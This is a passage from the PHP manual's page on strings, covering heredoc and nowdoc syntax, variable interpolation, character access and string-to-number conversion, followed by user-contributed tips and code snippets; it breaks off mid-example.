class foo {
    public $bar = <<<EOT
bar
    EOT;
}
?>

Heredoc text behaves just like a double-quoted string, without the double quotes. This means that quotes in a heredoc do not need to be escaped, but the escape codes listed above can still be used. Variables are expanded, but the same care must be taken when expressing complex variables inside a heredoc as with strings.

Example #2 Heredoc string quoting example

<?php
$str = <<<EOD
Example of string
spanning multiple lines
using heredoc syntax.
EOD;

/* More complex example, with variables. */
class foo
{
    var $foo;
    var $bar;

    function foo()
    {
        $this->foo = 'Foo';
        $this->bar = array('Bar1', 'Bar2', 'Bar3');
    }
}

$foo = new foo();
$name = 'MyName';

echo <<<EOT
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should print a capital 'A': \x41
EOT;
?>

The above example will output:

My name is "MyName". I am printing some Foo.
Now, I am printing some Bar2.
This should print a capital 'A': A

It is also possible to use the Heredoc syntax to pass data to function arguments:

Example #3 Heredoc in arguments example

<?php
var_dump(array(<<<EOD
foobar!
EOD
));
?>

As of PHP 5.3.0, it's possible to initialize static variables and class properties/constants using the Heredoc syntax:

Example #4 Using Heredoc to initialize static values

<?php
// Static variables
function foo()
{
    static $bar = <<<LABEL
Nothing in here...
LABEL;
}

// Class properties/constants
class foo
{
    const BAR = <<<FOOBAR
Constant example
FOOBAR;

    public $baz = <<<FOOBAR
Property example
FOOBAR;
}
?>

Starting with PHP 5.3.0, the opening Heredoc identifier may optionally be enclosed in double quotes:

Example #5 Using double quotes in Heredoc

<?php
echo <<<"FOOBAR"
Hello World!
FOOBAR;
?>

Nowdoc

Nowdocs are to single-quoted strings what heredocs are to double-quoted strings. A nowdoc is specified similarly to a heredoc, but no parsing is done inside a nowdoc. The construct is ideal for embedding PHP code or other large blocks of text without the need for escaping. It shares some features in common with the SGML <![CDATA[ ]]> construct, in that it declares a block of text which is not for parsing.

A nowdoc is identified with the same <<< sequence used for heredocs, but the identifier which follows is enclosed in single quotes, e.g. <<<'EOT'. All the rules for heredoc identifiers also apply to nowdoc identifiers, especially those regarding the appearance of the closing identifier.

Example #6 Nowdoc string quoting example

<?php
$str = <<<'EOD'
Example of string
spanning multiple lines
using nowdoc syntax.
EOD;

/* More complex example, with variables. */
class foo
{
    public $foo;
    public $bar;

    function foo()
    {
        $this->foo = 'Foo';
        $this->bar = array('Bar1', 'Bar2', 'Bar3');
    }
}

$foo = new foo();
$name = 'MyName';

echo <<<'EOT'
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should not print a capital 'A': \x41
EOT;
?>

The above example will output:

My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should not print a capital 'A': \x41

Note:

Unlike heredocs, nowdocs can be used in any static data context. The typical example is initializing class properties or constants:

Example #7 Static data example

<?php
class foo {
    public $bar = <<<'EOT'
bar
EOT;
}
?>

Note:

Nowdoc support was added in PHP 5.3.0.

Variable parsing

When a string is specified in double quotes or with heredoc, variables are parsed within it.

There are two types of syntax: a simple one and a complex one. The simple syntax is the most common and convenient. It provides a way to embed a variable, an array value, or an object property in a string with a minimum of effort.

The complex syntax can be recognised by the curly braces surrounding the expression.

Simple syntax

If a dollar sign ($) is encountered, the parser will greedily take as many tokens as possible to form a valid variable name. Enclose the variable name in curly braces to explicitly specify the end of the name.

<?php
$juice = "apple";

echo "He drank some $juice juice.".PHP_EOL;
// Invalid. "s" is a valid character for a variable name, but the variable is $juice.
echo "He drank some juice made of $juices.";
?>

The above example will output:

He drank some apple juice.
He drank some juice made of .

Similarly, an array index or an object property can be parsed. With array indices, the closing square bracket (]) marks the end of the index. The same rules apply to object properties as to simple variables.

Example #8 Simple syntax example

<?php
$juices = array("apple", "orange", "koolaid1" => "purple");

echo "He drank some $juices[0] juice.".PHP_EOL;
echo "He drank some $juices[1] juice.".PHP_EOL;
echo "He drank some juice made of $juice[0]s.".PHP_EOL; // Won't work
echo "He drank some $juices[koolaid1] juice.".PHP_EOL;

class people {
    public $john = "John Smith";
    public $jane = "Jane Smith";
    public $robert = "Robert Paulsen";

    public $smith = "Smith";
}

$people = new people();

echo "$people->john drank some $juices[0] juice.".PHP_EOL;
echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths."; // Won't work
?>

The above example will output:

He drank some apple juice.
He drank some orange juice.
He drank some juice made of s.
He drank some purple juice.
John Smith drank some apple juice.
John Smith then said hello to Jane Smith.
John Smith's wife greeted Robert Paulsen.
Robert Paulsen greeted the two .

For anything more complex, you should use the complex syntax.

Complex (curly) syntax

This isn't called complex because the syntax is complex, but because it allows for the use of complex expressions.

Any scalar variable, array element or object property with a string representation can be included via this syntax. Simply write the expression the same way as it would appear outside the string, and then wrap it in { and }. Since { can not be escaped, this syntax will only be recognised when the $ immediately follows the {. Use {\$ to get a literal {$. Some examples to make it clear:

<?php
// Show all errors
error_reporting(E_ALL);

$great = 'fantastic';

// Won't work, outputs: This is { fantastic}
echo "This is { $great}";

// Works, outputs: This is fantastic
echo "This is {$great}";
echo "This is ${great}";

// Works
echo "This square is {$square->width}00 centimeters broad.";

// Works, quoted keys only work using the curly brace syntax
echo "This works: {$arr['key']}";

// Works
echo "This works: {$arr[4][3]}";

// This is wrong for the same reason as $foo[bar] is wrong  outside a string.
// In other words, it will still work, but only because PHP first looks for a
// constant named foo; an error of level E_NOTICE (undefined constant) will be
// thrown.
echo "This is wrong: {$arr[foo][3]}";

// Works. When using multi-dimensional arrays, always use braces around arrays
// when inside of strings
echo "This works: {$arr['foo'][3]}";

// Works.
echo "This works: " . $arr['foo'][3];

echo "This works too: {$obj->values[3]->name}";

echo "This is the value of the var named $name: {${$name}}";

echo "This is the value of the var named by the return value of getName(): {${getName()}}";

echo "This is the value of the var named by the return value of \$object->getName(): {${$object->getName()}}";

// Won't work, outputs: This is the return value of getName(): {getName()}
echo "This is the return value of getName(): {getName()}";
?>

It is also possible to access class properties using variables within strings using this syntax.

<?php
class foo {
    var $bar = 'I am bar.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo "{$foo->$bar}\n";
echo "{$foo->$baz[1]}\n";
?>

The above example will output:

I am bar.
I am bar.

Note:

Functions, method calls, static class variables, and class constants inside {$} work since PHP 5. However, the value accessed will be interpreted as the name of a variable in the scope in which the string is defined. Using single curly braces ({}) will not work for accessing the return values of functions or methods or the values of class constants or static class variables.

<?php
// Show all errors.
error_reporting(E_ALL);

class beers {
    const softdrink = 'rootbeer';
    public static $ale = 'ipa';
}

$rootbeer = 'A & W';
$ipa = 'Alexander Keith\'s';

// This works; outputs: I'd like an A & W
echo "I'd like an {${beers::softdrink}}\n";

// This works too; outputs: I'd like an Alexander Keith's
echo "I'd like an {${beers::$ale}}\n";
?>

String access and modification by character

Characters within strings may be accessed and modified by specifying the zero-based offset of the desired character after the string using square array brackets, as in $str[42]. Think of a string as an array of characters for this purpose. The functions substr() and substr_replace() can be used when you want to extract or replace more than 1 character.

Note: Strings may also be accessed using braces, as in $str{42}, for the same purpose.

Warning

Writing to an out of range offset pads the string with spaces. Non-integer types are converted to integer. Illegal offset type emits E_NOTICE. Negative offset emits E_NOTICE in write but reads empty string. Only the first character of an assigned string is used. Assigning empty string assigns NULL byte.

Example #9 Some string examples

<?php
// Get the first character of a string
$str = 'This is a test.';
$first = $str[0];

// Get the third character of a string
$third = $str[2];

// Get the last character of a string.
$str = 'This is still a test.';
$last = $str[strlen($str)-1];

// Modify the last character of a string
$str = 'Look at the sea';
$str[strlen($str)-1] = 'e';

?>

Note:

Accessing variables of other types (not including arrays or objects implementing the appropriate interfaces) using [] or {} silently returns NULL.

Useful functions and operators

Strings may be concatenated using the '.' (dot) operator. Note that the '+' (addition) operator will not work for this. See String operators for more information.

There are a number of useful functions for string manipulation.

See the string functions section for general functions, and the regular expression functions or the Perl-compatible regular expression functions for advanced find & replace functionality.

There are also functions for URL strings, and functions to encrypt/decrypt strings (mcrypt and mhash).

Finally, see also the character type functions.

Converting to string

A value can be converted to a string using the (string) cast or the strval() function. String conversion is automatically done in the scope of an expression where a string is needed. This happens when using the echo() or print() functions, or when a variable is compared to a string. The sections on Types and Type Juggling will make the following clearer. See also the settype() function.

A boolean TRUE value is converted to the string "1". Boolean FALSE is converted to "" (the empty string). This allows conversion back and forth between boolean and string values.

An integer or float is converted to a string representing the number textually (including the exponent part for floats). Floating point numbers can be converted using exponential notation (4.1E+6).

Note:

The decimal point character is defined in the script's locale (category LC_NUMERIC). See the setlocale() function.

Arrays are always converted to the string "Array"; because of this, echo() and print() can not by themselves show the contents of an array. To view a single element, use a construction such as echo $arr['foo']. See below for tips on viewing the entire contents.

Objects in PHP 4 are always converted to the string "Object". To print the values of object properties for debugging reasons, read the paragraphs below. To get an object's class name, use the get_class() function. As of PHP 5, the __toString method is used when applicable.

Resources are always converted to strings with the structure "Resource id #1", where 1 is the unique number assigned to the resource by PHP at runtime. Do not rely upon this structure; it is subject to change. To get a resource's type, use the get_resource_type() function.

NULL is always converted to an empty string.

As stated above, directly converting an array, object, or resource to a string does not provide any useful information about the value beyond its type. See the functions print_r() and var_dump() for more effective means of inspecting the contents of these types.

Most PHP values can also be converted to strings for permanent storage. This method is called serialization, and is performed by the serialize() function. If the PHP engine was built with WDDX support, PHP values can also be serialized as well-formed XML text.

String conversion to numbers

When a string is evaluated in a numeric context, the resulting value and type are determined as follows.

If the string does not contain any of the characters '.', 'e', or 'E' and the numeric value fits into integer type limits (as defined by PHP_INT_MAX), the string will be evaluated as an integer. In all other cases it will be evaluated as a float.

The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero). Valid numeric data is an optional sign, followed by one or more digits (optionally containing a decimal point), followed by an optional exponent. The exponent is an 'e' or 'E' followed by one or more digits.

<?php
$foo = 1 + "10.5";                // $foo is float (11.5)
$foo = 1 + "-1.3e3";              // $foo is float (-1299)
$foo = 1 + "bob-1.3e3";           // $foo is integer (1)
$foo = 1 + "bob3";                // $foo is integer (1)
$foo = 1 + "10 Small Pigs";       // $foo is integer (11)
$foo = 4 + "10.2 Little Piggies"; // $foo is float (14.2)
$foo = "10.0 pigs " + 1;          // $foo is float (11)
$foo = "10.0 pigs " + 1.0;        // $foo is float (11)
?>

For more information on this conversion, see the Unix manual page for strtod(3).

To test any of the examples in this section, cut and paste the examples and insert the following line to see what's going on:

<?php
echo "\$foo==$foo; type is " . gettype ($foo) . "<br />\n";
?>

Do not expect to get the code of one character by converting it to integer, as is done in C. Use the ord() and chr() functions to convert between ASCII codes and characters.

Details of the String Type

The string in PHP is implemented as an array of bytes and an integer indicating the length of the buffer. It has no information about how those bytes translate to characters, leaving that task to the programmer. There are no limitations on the values the string can be composed of; in particular, bytes with value 0 (“NUL bytes”) are allowed anywhere in the string (however, a few functions, said in this manual not to be “binary safe”, may hand off the strings to libraries that ignore data after a NUL byte.)

This nature of the string type explains why there is no separate “byte” type in PHP – strings take this role. Functions that return no textual data – for instance, arbitrary data read from a network socket – will still return strings.

Given that PHP does not dictate a specific encoding for strings, one might wonder how string literals are encoded. For instance, is the string "á" equivalent to "\xE1" (ISO-8859-1), "\xC3\xA1" (UTF-8, C form), "\x61\xCC\x81" (UTF-8, D form) or any other possible representation? The answer is that string will be encoded in whatever fashion it is encoded in the script file. Thus, if the script is written in ISO-8859-1, the string will be encoded in ISO-8859-1 and so on. However, this does not apply if Zend Multibyte is enabled; in that case, the script may be written in an arbitrary encoding (which is explicity declared or is detected) and then converted to a certain internal encoding, which is then the encoding that will be used for the string literals. Note that there are some constraints on the encoding of the script (or on the internal encoding, should Zend Multibyte be enabled) – this almost always means that this encoding should be a compatible superset of ASCII, such as UTF-8 or ISO-8859-1. Note, however, that state-dependent encodings where the same byte values can be used in initial and non-initial shift states may be problematic.

Of course, in order to useful, functions that operate on text may have to make some assumptions about how the string is encoded. Unfortunately, there is much variation on this matter throughout PHP’s functions:

  • Some functions assume that the string is encoded in some (any) single-byte encoding, but they do not need to interpret those bytes as specific characters. This is case of, for instance, substr(), strpos(), strlen() or strcmp(). Another way to think of these functions is that operate on memory buffers, i.e., they work with bytes and byte offsets.
  • Other functions are passed the encoding of the string, possibly they also assume a default if no such information is given. This is the case of htmlentities() and the majority of the functions in the mbstring extension.
  • Others use the current locale (see setlocale()), but operate byte-by-byte. This is the case of strcasecmp(), strtoupper() and ucfirst(). This means they can be used only with single-byte encodings, as long as the encoding is matched by the locale. For instance strtoupper("á") may return "Á" if the locale is correctly set and á is encoded with a single byte. If it is encoded in UTF-8, the correct result will not be returned and the resulting string may or may not be returned corrupted, depending on the current locale.
  • Finally, they may just assume the string is using a specific encoding, usually UTF-8. This is the case of most functions in the intl extension and in the PCRE extension (in the last case, only when the u modifier is used). Although this is due to their special purpose, the function utf8_decode() assumes a UTF-8 encoding and the function utf8_encode() assumes an ISO-8859-1 encoding.

Ultimately, this means writing correct programs using Unicode depends on carefully avoiding functions that will not work and that most likely will corrupt the data and using instead the functions that do behave correctly, generally from the intl and mbstring extensions. However, using functions that can handle Unicode encodings is just the beginning. No matter the functions the language provides, it is essential to know the Unicode specification. For instance, a program that assumes there is only uppercase and lowercase is making a wrong assumption.

User Contributed Notes

gtisza at gmail dot com 10-Jan-2012 06:32
The documentation does not mention, but a closing semicolon at the end of the heredoc is actually interpreted as a real semicolon, and as such, sometimes leads to syntax errors.

This works:

<?php
$foo = <<<END
abcd
END;
?>

This does not:

<?php
foo(<<<END
abcd
END;
);
// syntax error, unexpected ';'
?>

Without semicolon, it works fine:

<?php
foo(<<<END
abcd
END
);
?>
MarkSG 19-Sep-2011 01:38
Actually, HEREDOC works precisely as documented, with nothing hidden at all. It's just that it's one of those things which isn't entirely intuitive to grasp.

A HEREDOC block has to start with the delimiter followed by a newline, and end with a newline followed by the delimiter. That means that the leading and trailing newlines are part of the syntax, not a part of the block. So this

<?php
$foo = <<<EOF
this
is
a
block
EOF;
?>

is equivalent to this

<?php
$foo =
"this
is
a
block";
?>

or this

<?php
$foo = "this\nis\na\nblock";
?>

but not this:

<?php
$foo = "
this
is
a
block
";
?>

or this

<?php
$foo = "\nthis\nis\na\nblock\n";
?>

Viewing it with the syntax highlighting switched on helps to make the difference clearer.
sgbeal at googlemail dot com 12-Aug-2011 04:44
The docs say: "Heredoc text behaves just like a double-quoted string, without the double quotes" but there is a notable hidden exception to that rule: the final newline in the string (the one before closing heredoc token) is elided. i.e. if you have:

$foo = <<<EOF
a
b
c
EOF;

the result is equivalent to "a\nb\nc", NOT "a\nb\nc\n" like the docs imply.
KOmaSHOOTER at gmx dot de 26-Jul-2011 01:37
curly brackets for strings
<?php
$test_array = array("hey","people");
$key = 0;
$key1 = 1;
$letter = 0;
echo($test_array[$key]{$letter});
echo($test_array[$key1]{$letter});
?>

result: "hp"
Michael 09-May-2011 05:56
Just want to mention that if you want a literal { around a variable within a string, for example if you want your output to be something like the following:

{hello, world}

and all that you put inside the {} is a variable, you can do a double {{}}, like this:

$test = 'hello, world';
echo "{{$test}}";
Ultimater at gmail dot com 27-Apr-2011 03:18
If you require a NowDoc but don't have support for them on your server -- since your PHP version is less than PHP 5.3.0 -- and you are in need of a workaround, I'd suggest using PHP's __halt_compiler() which is basically a knock-off of Perl's __DATA__ token if you are familiar with it.

Give this a run to see my suggestion in action:

<?php
//set $nowDoc to a string containing a code snippet for the user to read
$nowDoc = file_get_contents(__FILE__,null,null,__COMPILER_HALT_OFFSET__);
$nowDoc=highlight_string($nowDoc,true);

echo <<<EOF
<!doctype html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>NowDoc support for PHP &lt; 5.3.0</title>
<meta name="author" content="Ultimater at gmail dot com" />
<meta name="about-this-page"
content="Note that I built this code explicitly for the
php.net documenation for demonstrative purposes." />
<style type="text/css">
body{text-align:center;}
table.border{background:#e0eaee;margin:1px auto;padding:1px;}
table.border td{padding:5px;border:1px solid #8880ff;text-align:left;
background-color:#eee;}
code ::selection{background:#5f5color:white;}
code ::-moz-selection{background:#5f5;color:white;}
a{color:#33a;text-decoration:none;}
a:hover{color:rgb(3,128,252);}
</style>
</head>
<body>
<h1 style="margin:1px auto;">
<a
href="http://php.net/manual/en/language.types.string.php#example-77">
Example #8 Simple syntax example
</a></h1>
<table class="border"><tr><td>
$nowDoc
</td></tr></table></body></html>
EOF;

__halt_compiler()
//Example code snippet we want displayed on the webpage
//note that the compiler isn't actually stopped until the semicolon
;<?php
$juices = array("apple", "orange", "koolaid1" => "purple");

echo "He drank some $juices[0] juice.".PHP_EOL;
echo "He drank some $juices[1] juice.".PHP_EOL;
echo "He drank some juice made of $juice[0]s.".PHP_EOL; // Won't work
echo "He drank some $juices[koolaid1] juice.".PHP_EOL;

class people {
    public $john = "John Smith";
    public $jane = "Jane Smith";
    public $robert = "Robert Paulsen";

    public $smith = "Smith";
}

$people = new people();

echo "$people->john drank some $juices[0] juice.".PHP_EOL;
echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths."; // Won't work
?>
dee jay simple 0 0 7 at ge mahl dot com 01-Mar-2011 12:15
I recently discovered the joys of using heredoc with sprintf and positions. Useful if you want some code to iterate, you can repeat placeholders.

<?php

function getNumber($num = 0) {
    $foo = rand(1,20);
    return ($foo + $num);
}
function getString() {
    $foo = array("California","Oregon","Washington");
    shuffle($foo);
    return $foo[0];
}
function getDiv() {
    $num = getNumber();
    $div = sprintf( "<div>%s</div>", getNumber(rand(-5,5)) );
    return $div;
}
$string = <<<THESTRING
I like the state of %1\$s <br />
I picked: %2\$d as a number, <br />
I also picked %2\$d as a number again <br />
%3\$s<br />
%3\$s<br />
%3\$s<br />
%3\$s<br />
%3\$s<br />
THESTRING;

$returnText = sprintf(  $string, getString(),getNumber(),getDiv()  );

echo $returnText;

?>

Expected output of the above code:

I like the state of Oregon
I picked: 15 as a number,
I also picked 15 as a number again
5

5

5

5

5
saamde at gmail dot com 27-May-2010 03:40
Watch out for the "unexpected T_SL" error.  This appears to occur when there is white space just after "<<<EOT" and since it's white space it's real hard to spot the error in your code.
&#34;Sascha Ziemann&#34; 17-Dec-2009 01:58
Empty strings seem to be no real strings, because they behave different to strings containing data. Here is an example.

It is possible to change a character at a specific position using the square bracket notation:
<?php
$str = '0';
$str[0] = 'a';
echo $str."\n"; // => 'a'
?>

It is also possible to change a character with does not exist, if the index is "behind" the end of the string:
<?php
$str = '0';
$str[1] = 'a';
echo $str."\n"; // => 0a
?>

But if you do that on an empty string, the string gets silently converted into an array:
<?php
$str = '';
$str[0] = 'a';
echo $str."\n"; // => Array
?>
shd at earthling dot net 20-Oct-2009 02:54
If you want a parsed variable surrounded by curly braces, just double the curly braces:

<?php
  $foo = "bar";
  echo "{{$foo}}";
?>

will just show {bar}. The { is special only if followed by the $ sign and matches one }. In this case, that applies only to the inner braces. The outer ones are not escaped and pass through directly.
deminy at deminy dot net 16-Sep-2009 09:08
Although current documentation says 'A string literal can be specified in four different ways: ...', actually there is a fifth way to specify a (binary) string:

<?php $binary = b'This is a binary string'; ?>

The above statement declares a binary string using the 'b' prefix, which is available since PHP 5.2.1. However, it will only have effect as of PHP 6.0.0, as noted on http://www.php.net/manual/en/function.is-binary.php .
Liesbeth 03-Sep-2009 01:54
If you need to emulate a nowdoc in PHP < 5.3, try using HTML mode and output capturing. This way '$' or '\n' in your string won't be a problem anymore (but unfortunately, '<?' will be).

<?php

// Start of script

ob_start(); ?>
  A text with 'quotes'
    and $$$dollars$$$.
<?php $input = ob_get_contents(); ob_end_clean();

// Do what you want with $input
echo "<pre>" . $input . "</pre>";

?>
headden at karelia dot ru 20-Jun-2009 12:43
Here is an easy hack to allow double-quoted strings and heredocs to contain arbitrary expressions in curly braces syntax, including constants and other function calls:

<?php

// Hack declaration
function _expr($v) { return $v; }
$_expr = '_expr';

// Our playground
define('qwe', 'asd');
define('zxc', 5);

$a=3;
$b=4;

function c($a, $b) { return $a+$b; }

// Usage
echo "pre {$_expr(1+2)} post\n"; // outputs 'pre 3 post'
echo "pre {$_expr(qwe)} post\n"; // outputs 'pre asd post'
echo "pre {$_expr(c($a, $b)+zxc*2)} post\n"; // outputs 'pre 17 post'

// General syntax is {$_expr(...)}
?>
Jarobman 21-Mar-2009 01:20
One thing I have noticed (using PHP 5.2.4) is that alphanumeric text starting with letters or underscore without spaces and operators in PHP code without single or double quotes is interpreted as a string.  I noticed this when trying to access a member variable from an object and getting an integer returned on what I thought should have been a syntax error.  The text cannot correspond to most PHP keywords since that would generate a fatal error.

<?php
class MyObject
{
    private $__internal_array = array();
    //insert code for overloading __get(), __set(), etc. to
    //access items from $__internal_array
}

$object = new MyObject();

//thought this would give a syntax error, put param returned an int somehow
some_function($object-membervar);

//correct
echo hiImAString;

//correct
echo hello.world._6789;

//correct
thisisastandalonestring;

//correct, outputs 0
echo string+anotherstring-yetanotherstring;

//correct, outputs 1concatenated
echo true.false.concatenated;

//incorrect, syntax error
echo cantdothis.1234567890;

//incorrect, syntax error, use of PHP keywords
echo try.and.do.this.if.you.can.else.break;
?>

Any other combination of the above with operators and other special characters will generate fatal errors.  I think it would be the opinion of many people that this form of a string is not at all practical and should never be used at all.  Personally, I think this looks like a bug, but I could be wrong.  However, this is something else one could watch out for when debugging since this is hard to pick up in code especially when expecting integer or boolean values.

Cheers,
Jarobman
cvolny at gmail dot com 02-Dec-2008 11:43
I commented on a php bug feature request for a string expansion function and figured I should post somewhere it might be useful:

using regex, pretty straightforward:
<?php
function stringExpand($subject, array $vars) {
    // loop over $vars map
    foreach ($vars as $name => $value) {
        // use preg_replace to match ${`$name`} or $`$name`
        $subject = preg_replace(sprintf('/\$\{?%s\}?/', $name), $value,
$subject);
    }
    // return variable expanded string
    return $subject;
}
?>

using eval() and not limiting access to only certain variables (entire current symbol table including [super]globals):

<?php
function stringExpandDangerous($subject, array $vars = array(), $random = true) {

        // extract $vars into current symbol table
        extract($vars);

        $delim;
        // if requested to be random (default), generate delim, otherwise use predefined (trivially faster)
        if ($random)
            $delim = '___' . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . '___';
        else
            $delim = '__ASDFZXCV1324ZXCV__';  // button mashing...

        // built the eval code
        $statement = "return <<<$delim\n\n" . $subject . "\n$delim;\n";

        // execute statement, saving output to $result variable
        $result = eval($statement);

        // if eval() returned FALSE, throw a custom exception
        if ($result === false)
            throw new EvalException($statement);

        // return variable expanded string
        return $result;
    }
?>

I hope that helps someone, but I do caution against using the eval() route even if it is tempting.  I don't know if there's ever a truely safe way to use eval() on the web, I'd rather not use it.
Obeliks 15-Nov-2008 08:21
Expectedly <?php $string[$x] ?> and <?php substr($string, $x, 1) ?> will yield the same result... normally!

However, when you turn on the  Function Overloading Feature (http://php.net/manual/en/mbstring.overload.php), this might not be true!

If you use this Overloading Feature with 3rd party software, you should check for usage of the String access operator, otherwise you might be in for some nasty surprises.
Salil Kothadia 15-Oct-2008 01:33
An interesting finding about Heredoc "syntax error, unexpected $end".
I got this error because I did not use the php close tag "?>" and I had no code after the heredoc code.

foo1.php code gives "syntax error, unexpected $end".
But in foo2.php and foo3.php, when you add a php close tag or when you have some more code after heredoc it works fine.

Example Code:
foo1.php
1. <?php
2. $str = <<<EOD
3. Example of string
4. spanning multiple lines
5. using heredoc syntax.
6. EOD;
7.

foo2.php
1. <?php
2. $str = <<<EOD
3. Example of string
4. spanning multiple lines
5. using heredoc syntax.
6. EOD;
7.
8. echo $str;
9.

foo3.php
1. <?php
2. $str = <<<EOD
3. Example of string
4. spanning multiple lines
5. using heredoc syntax.
6. EOD;
7. ?>
steve at mrclay dot org 30-Sep-2008 01:33
Simple function to create human-readably escaped double-quoted strings for use in source code or when debugging strings with newlines/tabs/etc.

<?php
function doubleQuote($str) {
    $ret = '"';
    for ($i = 0, $l = strlen($str); $i < $l; ++$i) {
        $o = ord($str[$i]);
        if ($o < 31 || $o > 126) {
            switch ($o) {
                case 9: $ret .= '\t'; break;
                case 10: $ret .= '\n'; break;
                case 11: $ret .= '\v'; break;
                case 12: $ret .= '\f'; break;
                case 13: $ret .= '\r'; break;
                default: $ret .= '\x' . str_pad(dechex($o), 2, '0', STR_PAD_LEFT);
            }
        } else {
            switch ($o) {
                case 36: $ret .= '\$'; break;
                case 34: $ret .= '\"'; break;
                case 92: $ret .= '\\\\'; break;
                default: $ret .= $str[$i];
            }
        }
    }
    return $ret . '"';
}
?>
chAlx at findme dot if dot u dot need 11-Sep-2008 08:42
To save Your mind don't read previous comments about dates  ;)

When both strings can be converted to the numerics (in ("$a" > "$b") test) then resulted numerics are used, else FULL strings are compared char-by-char:

<?php
var_dump('1.22' > '01.23'); // bool(false)
var_dump('1.22.00' > '01.23.00'); // bool(true)
var_dump('1-22-00' > '01-23-00'); // bool(true)
var_dump((float)'1.22.00' > (float)'01.23.00'); // bool(false)
?>
harmor 01-Sep-2008 03:05
So you want to get the last character of a string using "String access and modification by character"?  Well negative indexes are not allowed so $str[-1] will return an empty string.

<?php
//Tested using: PHP 5.2.5

$str = 'This is a test.';

$last = $str[-1];                  //string(0) ""
$realLast = $str[strlen($str)-1];  //string(1) "."
$substr = substr($str,-1);         //string(1) "."

echo '<pre>';
var_dump($last);
var_dump($realLast);
var_dump($substr);
nullhility at gmail dot com 06-Jun-2008 12:40
It's also valuable to note the following:

<?php
${date("M")} = "Worked";
echo ${date("M")};
?>

This is perfectly legal, anything inside the braces is executed first, the return value then becomes the variable name. Echoing the same variable variable using the function that created it results in the same return and therefore the same variable name is used in the echo statement. Have fun ;).
Evan K 28-Feb-2008 01:03
I encountered the odd situation of having a string containing unexpanded escape sequences that I wanted to expand, but also contained dollar signs that would be interpolated as variables.  "$5.25\n", for example, where I want to convert \n to a newline, but don't want attempted interpolation of $5.

Some muddling through docs and many obscenties later, I produced the following, which expands escape sequences in an existing string with NO interpolation.

<?php

// where we do all our magic
function expand_escape($string) {
    return preg_replace_callback(
        '/\\\([nrtvf]|[0-7]{1,3}|[0-9A-Fa-f]{1,2})?/',
        create_function(
            '$matches',
            'return ($matches[0] == "\\\\") ? "" : eval( sprintf(\'return "%s";\', $matches[0]) );'
        ),
        $string
    );
}

// a string to test, and show the before and after
$before = 'Quantity:\t500\nPrice:\t$5.25 each';
$after = expand_escape($before);
var_dump($before, $after);

/* Outputs:
string(34) "Quantity:\t500\nPrice:\t$5.25 each"
string(31) "Quantity:    500
Price:    $5.25 each"
*/

?>
dot dot dot dot dot alexander at gmail dot com 06-Feb-2008 10:31
I think there's not that much to string comparison as claiming date recognition:

It's simply comparing ordinal values of the characters from the {0} to the {strlen-1} one.
In this case
<?php
$a = '2007-11-06 15:17:48';
$b = '2007-11-05 15:17:48';

var_dump($a > $b);
?>
mArIo@luigi ~ $: php test.php
bool(true)
here all characters match till it reaches position 9 (the "day")
there, 6 has a bigger ord()inal value than 5

<?php
$a = 'January 25th, 2008 00:23:38';
$b = 'Janury 24th, 2008 00:23:37'; // ($a > $b) === false
?>
Here when we reach 'r' in "Janury" we see that "a" is "less" than "r" so the example would evaluate as ($a < $b) === true

Here:
<?php
$a = 'February 1st, 2008 00:23:38';
$b = 'January 25th, 2008 00:23:38';
?>
as expected the letter "F" comes before "J" as an ordinal character, so $a is less than $b
 Even here:
<?php
var_dump('Z' > 'M'); //bool(true)
?>
it gets confirmed that the string comparison operators >, <, =>, =<, == just do a ordinal character comparison starting from position {0} to the first difference or the end of the string.
rkfranklin+php at gmail dot com 26-Sep-2007 12:35
If you want to use a variable in an array index within a double quoted string you have to realize that when you put the curly braces around the array, everything inside the curly braces gets evaluated as if it were outside a string.  Here are some examples:

<?php
$i = 0;
$myArray[Person0] = Bob;
$myArray[Person1] = George;

// prints Bob (the ++ is used to emphasize that the expression inside the {} is really being evaluated.)
echo "{$myArray['Person'.$i++]}<br>";

// these print George
echo "{$myArray['Person'.$i]}<br>";
echo "{$myArray["Person{$i}"]}<br>";

// These don't work
echo "{$myArray['Person$i']}<br>";
echo "{$myArray['Person'$i]}<br>";

// These both throw fatal errors
// echo "$myArray[Person$i]<br>";
//echo "$myArray[Person{$i}]<br>";
?>
Richard Neill 31-May-2007 08:31
Unlike bash, we can't do
  echo "\a"       #beep!

Of course, that would be rather meaningless for PHP/web, but it's useful for PHP-CLI. The solution is simple:  echo "\x07"
og at gams dot at 25-Apr-2007 05:06
easy transparent solution for using constants in the heredoc format:
DEFINE('TEST','TEST STRING');

$const = get_defined_constants();

echo <<<END
{$const['TEST']}
END;

Result:
TEST STRING
penda ekoka 24-Apr-2007 10:14
error control operator (@) with heredoc syntax:

the error control operator is pretty handy for supressing minimal errors or omissions. For example an email form that request some basic non mandatory information to your users. Some may complete the form, other may not. Lets say you don't want to tweak PHP for error levels and you just wish to create some basic template that will be emailed to the admin with the user information submitted. You manage to collect the user input in an array called $form:

<?php
// creating your mailer
$mailer = new SomeMailerLib();
$mailer->from = ' System <mail@yourwebsite.com>';
$mailer->to = 'admin@yourwebsite.com';
$mailer->subject = 'New user request';
// you put the error control operator before the heredoc operator to suppress notices and warnings about unset indices like this
$mailer->body = @<<<FORM
Firstname = {$form['firstname']}
Lastname = {$form['lastname']}
Email = {$form['email']}
Telephone = {$form['telephone']}
Address = {$form['address']}
FORM;

?>
php at moechofe dot com 01-Apr-2007 08:44
A simple benchmark to check differents about :
- simple and double quote concatenation and
- double quote and heredoc replacement

<?php

function test_simple_quote_concat()
{
  $b = 'string';
  $a  = ' string'.$b.' string'.$b.' srting'.$b;
  $a .= ' string'.$b.' string'.$b.' string'.$b;
